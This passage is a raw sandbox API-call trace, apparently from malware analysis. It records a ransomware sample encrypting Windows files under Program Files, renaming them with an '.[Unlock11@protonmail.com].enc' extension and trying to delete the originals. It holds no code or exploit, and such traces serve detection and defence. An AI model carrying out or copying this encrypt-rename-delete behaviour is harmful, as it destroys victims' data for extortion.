() returned 0x9b0 [0122.422] GetLastError () returned 0x0 [0122.422] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea6d8 | out: hHeap=0x2ad0000) returned 1 [0122.422] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea750 [0122.422] GetLastError () returned 0x0 [0122.422] GetLastError () returned 0x0 [0122.422] GetLastError () returned 0x0 [0122.422] GetLastError () returned 0x0 [0122.422] GetCurrentThreadId () returned 0x9b0 [0122.422] GetLastError () returned 0x0 [0122.422] GetCurrentThreadId () returned 0x9b0 [0122.423] GetLastError () returned 0x0 [0122.423] GetLastError () returned 0x0 [0122.423] GetLastError () returned 0x0 [0122.423] GetLastError () returned 0x0 [0122.423] GetCurrentThreadId () returned 0x9b0 [0122.423] GetLastError () returned 0x0 [0122.423] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea750 | out: hHeap=0x2ad0000) returned 1 [0122.423] GetLastError () returned 0x0 [0122.423] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6780 | out: hHeap=0x2ad0000) returned 1 [0122.423] GetLastError () returned 0x0 [0122.423] GetLastError () returned 0x0 [0122.423] GetLastError () returned 0x0 [0122.424] GetCurrentThreadId () returned 0x9b0 [0122.424] GetLastError () returned 0x0 [0122.424] GetLastError () returned 0x0 [0122.424] GetLastError () returned 0x0 [0122.424] GetLastError () returned 0x0 [0122.424] GetLastError () returned 0x0 [0122.424] GetCurrentThreadId () returned 0x9b0 [0122.424] GetLastError () returned 0x0 [0122.424] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a828 | out: hHeap=0x2ad0000) returned 1 [0122.424] GetLastError () returned 0x0 [0122.425] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d62d0 | out: hHeap=0x2ad0000) returned 1 [0122.425] GetLastError () returned 0x0 [0122.425] GetLastError () returned 0x0 [0122.425] GetLastError () returned 0x0 [0122.425] GetCurrentThreadId () returned 0x9b0 [0122.425] GetLastError () returned 0x0 [0122.425] GetLastError () returned 0x0 [0122.425] GetLastError () returned 0x0 [0122.425] GetLastError () returned 0x0 [0122.425] GetLastError () returned 0x0 [0122.425] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812a0 | out: hHeap=0x2ad0000) returned 1 [0122.426] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x180)) returned 1 [0122.426] GetLastError () returned 0x0 [0122.426] GetCurrentThreadId () returned 0x9b0 [0122.426] GetLastError () returned 0x0 [0122.426] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2670 | out: hHeap=0x2ad0000) returned 1 [0122.426] GetCurrentThreadId () returned 0x9b0 [0122.426] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36684e4 | out: pbBuffer=0x36684e4) returned 1 [0122.426] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0122.426] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4ec8 [0122.426] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0122.426] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea6d8 [0122.427] GetLastError () returned 0x0 [0122.427] GetLastError () returned 0x0 [0122.427] GetLastError () returned 0x0 [0122.427] GetLastError () returned 0x0 [0122.427] GetCurrentThreadId () returned 0x9b0 [0122.427] GetLastError () returned 0x0 [0122.427] GetCurrentThreadId () returned 0x9b0 [0122.427] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea6d8 | out: hHeap=0x2ad0000) returned 1 [0122.427] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea6d8 [0122.427] GetLastError () returned 0x0 [0122.427] GetLastError () returned 0x0 [0122.428] GetLastError () returned 0x0 [0122.428] GetLastError () returned 0x0 [0122.428] GetCurrentThreadId () returned 0x9b0 [0122.428] GetLastError () returned 0x0 [0122.428] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea6d8 | out: hHeap=0x2ad0000) returned 1 [0122.428] GetCurrentThreadId () returned 0x9b0 [0122.428] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33f6cb8 [0122.428] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a4ec8 | out: hHeap=0x2ad0000) returned 1 [0122.428] GetLastError () returned 0x0 [0122.428] GetLastError () returned 0x0 [0122.428] GetLastError () returned 0x0 [0122.429] GetLastError () returned 0x0 [0122.429] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0122.429] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6c38 [0122.429] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0122.429] GetFileType (hFile=0x39c) returned 0x1 [0122.429] GetCurrentThreadId () returned 0x9b0 [0122.429] GetFileType (hFile=0x39c) returned 0x1 [0122.429] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0122.430] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.430] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.430] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.430] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.430] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.430] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.430] GetCurrentThreadId () returned 0x9b0 [0122.430] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0122.431] GetFileType (hFile=0x3ac) returned 0x1 [0122.431] GetCurrentThreadId () returned 0x9b0 [0122.431] GetFileType (hFile=0x3ac) returned 0x1 [0122.431] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0122.431] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.431] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.432] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.432] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.432] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.432] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.432] GetCurrentThreadId () returned 0x9b0 [0122.432] GetCurrentThreadId () returned 0x9b0 [0122.432] GetCurrentThreadId () returned 0x9b0 [0122.433] GetCurrentThreadId () returned 0x9b0 [0122.433] GetCurrentThreadId () returned 0x9b0 [0122.433] GetCurrentThreadId () returned 0x9b0 [0122.433] GetCurrentThreadId () returned 0x9b0 [0122.433] GetCurrentThreadId () returned 0x9b0 [0122.434] CloseHandle (hObject=0x3ac) returned 1 [0122.435] GetCurrentThreadId () returned 0x9b0 [0122.435] CloseHandle (hObject=0x39c) returned 1 [0122.435] GetCurrentThreadId () returned 0x9b0 [0122.435] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml")) returned 0 [0122.435] GetCurrentThreadId () returned 0x9b0 [0122.435] GetCurrentThreadId () returned 0x9b0 [0122.435] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml", lpFilePart=0x9bada4*="keypadbase.xml") returned 0x56 [0122.435] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0122.436] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0122.436] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0122.436] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0122.436] GetCurrentThreadId () returned 0x9b0 [0122.436] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea6d8 [0122.436] GetLastError () returned 0x0 [0122.436] GetLastError () returned 0x0 [0122.436] GetLastError () returned 0x0 [0122.436] GetLastError () returned 0x0 [0122.437] GetCurrentThreadId () returned 0x9b0 [0122.437] GetLastError () returned 0x0 [0122.437] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea6d8 | out: hHeap=0x2ad0000) returned 1 [0122.437] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea598 [0122.437] GetLastError () returned 0x0 [0122.437] GetLastError () returned 0x0 [0122.437] GetLastError () returned 0x0 [0122.437] GetLastError () returned 0x0 [0122.437] GetCurrentThreadId () returned 0x9b0 [0122.437] GetLastError () returned 0x0 [0122.437] GetCurrentThreadId () returned 0x9b0 [0122.438] GetLastError () returned 0x0 [0122.438] GetLastError () returned 0x0 [0122.438] GetLastError () returned 0x0 [0122.438] GetLastError () returned 0x0 [0122.438] GetCurrentThreadId () returned 0x9b0 [0122.438] GetLastError () returned 0x0 [0122.438] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea598 | out: hHeap=0x2ad0000) returned 1 [0122.438] GetLastError () returned 0x0 [0122.438] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6708 | out: hHeap=0x2ad0000) returned 1 [0122.438] GetLastError () returned 0x0 [0122.438] GetLastError () returned 0x0 [0122.439] GetLastError () returned 0x0 [0122.439] GetCurrentThreadId () returned 0x9b0 [0122.439] GetLastError () returned 0x0 [0122.439] GetLastError () returned 0x0 [0122.439] GetLastError () returned 0x0 [0122.439] GetLastError () returned 0x0 [0122.439] GetLastError () returned 0x0 [0122.439] GetCurrentThreadId () returned 0x9b0 [0122.439] GetLastError () returned 0x0 [0122.439] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a5a8 | out: hHeap=0x2ad0000) returned 1 [0122.439] GetCurrentThreadId () returned 0x9b0 [0122.440] GetLastError () returned 0x0 [0122.440] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6438 | out: hHeap=0x2ad0000) returned 1 [0122.440] GetLastError () returned 0x0 [0122.440] GetLastError () returned 0x0 [0122.440] GetLastError () returned 0x0 [0122.440] GetCurrentThreadId () returned 0x9b0 [0122.440] GetLastError () returned 0x0 [0122.440] GetLastError () returned 0x0 [0122.440] GetLastError () returned 0x0 [0122.440] GetLastError () returned 0x0 [0122.440] GetLastError () returned 0x0 [0122.441] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0122.441] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x387)) returned 1 [0122.441] GetLastError () returned 0x0 [0122.441] GetCurrentThreadId () returned 0x9b0 [0122.441] GetLastError () returned 0x0 [0122.441] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2858 | out: hHeap=0x2ad0000) returned 1 [0122.441] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668e94 | out: pbBuffer=0x3668e94) returned 1 [0122.441] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0122.441] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4598 [0122.441] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0122.442] GetCurrentThreadId () returned 0x9b0 [0122.442] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea598 [0122.442] GetLastError () returned 0x0 [0122.442] GetLastError () returned 0x0 [0122.442] GetLastError () returned 0x0 [0122.442] GetLastError () returned 0x0 [0122.442] GetCurrentThreadId () returned 0x9b0 [0122.442] GetLastError () returned 0x0 [0122.442] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea598 | out: hHeap=0x2ad0000) returned 1 [0122.442] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea598 [0122.443] GetCurrentThreadId () returned 0x9b0 [0122.443] GetLastError () returned 0x0 [0122.443] GetLastError () returned 0x0 [0122.443] GetLastError () returned 0x0 [0122.443] GetLastError () returned 0x0 [0122.443] GetCurrentThreadId () returned 0x9b0 [0122.443] GetLastError () returned 0x0 [0122.443] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea598 | out: hHeap=0x2ad0000) returned 1 [0122.443] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33f6cb8 [0122.443] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a4598 | out: hHeap=0x2ad0000) returned 1 [0122.443] GetLastError () returned 0x0 [0122.443] GetLastError () returned 0x0 [0122.444] GetLastError () returned 0x0 [0122.444] GetLastError () returned 0x0 [0122.444] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0122.444] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6ce8 [0122.444] GetLastError () returned 0x0 [0122.444] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0122.444] GetFileType (hFile=0x39c) returned 0x1 [0122.444] GetLastError () returned 0x0 [0122.445] GetCurrentThreadId () returned 0x9b0 [0122.445] GetLastError () returned 0x0 [0122.445] GetFileType (hFile=0x39c) returned 0x1 [0122.445] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0122.445] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.445] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.445] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.445] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.445] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.445] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.445] GetLastError () returned 0x0 [0122.445] GetCurrentThreadId () returned 0x9b0 [0122.446] GetLastError () returned 0x0 [0122.446] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6ce8 | out: hHeap=0x2ad0000) returned 1 [0122.446] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2738 | out: hHeap=0x2ad0000) returned 1 [0122.446] GetLastError () returned 0x0 [0122.446] GetLastError () returned 0x0 [0122.446] GetLastError () returned 0x0 [0122.446] GetLastError () returned 0x0 [0122.446] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0122.446] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6c38 [0122.446] GetLastError () returned 0x0 [0122.446] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0122.448] GetFileType (hFile=0x3ac) returned 0x1 [0122.448] GetLastError () returned 0x0 [0122.448] GetCurrentThreadId () returned 0x9b0 [0122.448] GetLastError () returned 0x0 [0122.448] GetFileType (hFile=0x3ac) returned 0x1 [0122.448] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0122.448] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.449] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.449] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.449] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.449] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.449] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.449] GetLastError () returned 0x0 [0122.449] GetCurrentThreadId () returned 0x9b0 [0122.449] GetLastError () returned 0x0 [0122.449] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6c38 | out: hHeap=0x2ad0000) returned 1 [0122.449] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35bc310 | out: hHeap=0x2ad0000) returned 1 [0122.449] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881108 [0122.449] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0122.450] GetLastError () returned 0x0 [0122.450] GetLastError () returned 0x0 [0122.450] GetCurrentThreadId () returned 0x9b0 [0122.450] GetLastError () returned 0x0 [0122.450] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0122.450] GetLastError () returned 0x0 [0122.450] GetLastError () returned 0x0 [0122.450] GetCurrentThreadId () returned 0x9b0 [0122.450] GetLastError () returned 0x0 [0122.450] GetLastError () returned 0x0 [0122.452] GetLastError () returned 0x0 [0122.452] GetCurrentThreadId () returned 0x9b0 [0122.452] GetLastError () returned 0x0 [0122.452] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6cb8 | out: hHeap=0x2ad0000) returned 1 [0122.452] GetCurrentThreadId () returned 0x9b0 [0122.452] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x3a8) returned 0x38901e0 [0122.452] GetLastError () returned 0x0 [0122.453] GetLastError () returned 0x0 [0122.453] GetLastError () returned 0x0 [0122.453] GetLastError () returned 0x0 [0122.453] GetCurrentThreadId () returned 0x9b0 [0122.453] GetLastError () returned 0x0 [0122.453] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38901e0 | out: hHeap=0x2ad0000) returned 1 [0122.453] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0122.453] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0122.453] GetLastError () returned 0x0 [0122.453] GetLastError () returned 0x0 [0122.453] GetCurrentThreadId () returned 0x9b0 [0122.454] GetLastError () returned 0x0 [0122.454] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3890d38 | out: hHeap=0x2ad0000) returned 1 [0122.454] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f88f8 [0122.454] GetLastError () returned 0x0 [0122.454] GetLastError () returned 0x0 [0122.454] GetCurrentThreadId () returned 0x9b0 [0122.454] GetLastError () returned 0x0 [0122.454] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f88f8 | out: hHeap=0x2ad0000) returned 1 [0122.454] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0122.454] GetLastError () returned 0x0 [0122.455] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0122.455] CloseHandle (hObject=0x3ac) returned 1 [0122.456] GetLastError () returned 0x0 [0122.456] GetCurrentThreadId () returned 0x9b0 [0122.456] GetLastError () returned 0x0 [0122.456] GetLastError () returned 0x0 [0122.456] CloseHandle (hObject=0x39c) returned 1 [0122.456] GetLastError () returned 0x0 [0122.456] GetCurrentThreadId () returned 0x9b0 [0122.456] GetLastError () returned 0x0 [0122.456] GetLastError () returned 0x0 [0122.456] GetLastError () returned 0x0 [0122.457] GetLastError () returned 0x0 [0122.457] GetLastError () returned 0x0 [0122.457] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml")) returned 0 [0122.457] GetLastError () returned 0x5 [0122.457] GetCurrentThreadId () returned 0x9b0 [0122.457] GetLastError () returned 0x5 [0122.457] GetLastError () returned 0x5 [0122.457] GetLastError () returned 0x5 [0122.457] GetLastError () returned 0x5 [0122.458] LocalFree (hMem=0x1053a70) returned 0x0 [0122.458] GetCurrentThreadId () returned 0x9b0 [0122.458] GetLastError () returned 0x5 [0122.458] GetLastError () returned 0x5 [0122.458] GetLastError () returned 0x5 [0122.458] GetLastError () returned 0x5 [0122.458] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml", lpFilePart=0x9bada4*="kor-kor.xml") returned 0x53 [0122.458] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0122.458] GetCurrentThreadId () returned 0x9b0 [0122.458] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0122.458] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0122.459] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0122.459] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea598 [0122.459] GetLastError () returned 0x0 [0122.459] GetLastError () returned 0x0 [0122.459] GetLastError () returned 0x0 [0122.459] GetLastError () returned 0x0 [0122.459] GetCurrentThreadId () returned 0x9b0 [0122.459] GetLastError () returned 0x0 [0122.459] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea598 | out: hHeap=0x2ad0000) returned 1 [0122.459] GetCurrentThreadId () returned 0x9b0 [0122.459] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea750 [0122.460] GetLastError () returned 0x0 [0122.460] GetLastError () returned 0x0 [0122.460] GetLastError () returned 0x0 [0122.460] GetLastError () returned 0x0 [0122.460] GetCurrentThreadId () returned 0x9b0 [0122.460] GetLastError () returned 0x0 [0122.534] GetLastError () returned 0x0 [0122.535] GetLastError () returned 0x0 [0122.535] GetLastError () returned 0x0 [0122.535] GetLastError () returned 0x0 [0122.535] GetCurrentThreadId () returned 0x9b0 [0122.535] GetLastError () returned 0x0 [0122.535] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea750 | out: hHeap=0x2ad0000) returned 1 [0122.535] GetLastError () returned 0x0 [0122.535] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d63c0 | out: hHeap=0x2ad0000) returned 1 [0122.535] GetLastError () returned 0x0 [0122.535] GetLastError () returned 0x0 [0122.535] GetLastError () returned 0x0 [0122.536] GetCurrentThreadId () returned 0x9b0 [0122.536] GetLastError () returned 0x0 [0122.536] GetCurrentThreadId () returned 0x9b0 [0122.536] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8ab68 [0122.536] GetLastError () returned 0x0 [0122.536] GetLastError () returned 0x0 [0122.536] GetLastError () returned 0x0 [0122.536] GetLastError () returned 0x0 [0122.536] GetCurrentThreadId () returned 0x9b0 [0122.536] GetLastError () returned 0x0 [0122.536] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8ab68 | out: hHeap=0x2ad0000) returned 1 [0122.537] GetLastError () returned 0x0 [0122.537] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6780 | out: hHeap=0x2ad0000) returned 1 [0122.537] 